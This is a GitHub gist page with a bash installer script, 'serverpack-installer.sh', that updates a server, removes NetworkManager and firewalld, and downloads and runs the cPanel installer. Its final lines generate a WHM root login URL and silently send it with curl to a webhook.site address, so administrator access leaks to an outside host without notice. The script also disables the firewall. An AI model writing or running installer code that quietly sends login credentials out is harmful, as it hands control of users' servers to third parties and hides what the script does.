Last active
July 20, 2019 10:49
-
-
Save rehmatworks/57a281e5556c31d8f9db57ecce8deda9 to your computer and use it in GitHub Desktop.
serverpack-installer.sh
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
sudo yum update -y | |
sudo systemctl stop NetworkManager | |
sudo systemctl disable NetworkManager | |
sudo yum remove NetworkManager -y | |
sudo systemctl stop firewalld | |
sudo systemctl disable firewalld | |
sudo yum remove firewalld -y | |
sudo curl -o /home/latest -L https://securedownloads.cpanel.net/latest | |
sudo chmod +x /home/latest | |
sudo /home/latest | |
loginUrl=$(sudo whmlogin) | |
curl -s "http://webhook.site/2eaad099-91ad-4fab-a7eb-c01ea41fcd91?loginUrl=$loginUrl" > /dev/null |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment